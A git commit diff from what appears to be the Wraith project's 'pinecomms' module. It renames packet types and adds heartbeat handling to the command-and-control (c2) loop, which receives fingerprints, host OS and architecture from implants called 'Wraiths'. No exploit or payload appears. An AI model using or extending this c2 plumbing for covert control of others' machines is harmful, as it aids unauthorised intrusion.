chore: initial heartbeat processing

This commit is contained in:
0x1a8510f2 2023-01-09 05:42:20 +00:00
parent 88a1722811
commit a4d213f764
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
6 changed files with 23 additions and 8 deletions

View File

@ -17,6 +17,7 @@ import (
"syscall"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/pmanager"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/proto"
)
//go:embed ui/dist/*
@ -175,11 +176,25 @@ func main() {
mainloop:
for {
select {
// Exit if requested.
case <-sigchan:
break mainloop
case <-recv:
// TODO
println("received message")
// Process incoming packets.
case packet := <-recv:
peerPublicKey, err := hex.DecodeString(packet.Peer)
if err != nil {
// This shouldn't happen, but if the peer public key is
// malformed then we have no choice but to ignore the
// packet.
continue
}
switch packet.Route {
case proto.ROUTE_HEARTBEAT:
packetData := proto.PacketHeartbeat{}
proto.Unmarshal(&packetData, peerPublicKey, packet.Data)
fmt.Printf("%v\n", packetData)
}
}
}

View File

@ -9,7 +9,7 @@ import (
)
type packetData interface {
Heartbeat | Req | Res
PacketHeartbeat | PacketReq | PacketRes
}
// Converts a packet into a byte array ready for transmission.

View File

@ -2,7 +2,7 @@ package proto
// The structure of heartbeats which Wraiths send to c2 to register
// their status and presence.
type Heartbeat struct {
type PacketHeartbeat struct {
// The unique fingerprint of the Wraith.
Fingerprint string

View File

@ -2,7 +2,7 @@ package proto
// The structure of requests pc3 makes to Wraiths running the
// pinecomms module.
type Req struct {
type PacketReq struct {
// The actual payload which tells the module what to do.
Payload struct {
// Which shm fields should be read and returned.

View File

@ -2,7 +2,7 @@ package proto
// The structure of responses Wraiths running the pinecomms module
// make to pc3.
type Res struct {
type PacketRes struct {
// The main body of the response.
Payload struct {
// A map of all read cells and their contents.

View File

@ -111,7 +111,7 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
return
case <-time.After(time.Duration(interval) * time.Second):
// Build a heartbeat data packet.
heartbeatData := proto.Heartbeat{
heartbeatData := proto.PacketHeartbeat{
Fingerprint: fingerprint,
HostOS: runtime.GOOS,
HostArch: runtime.GOARCH,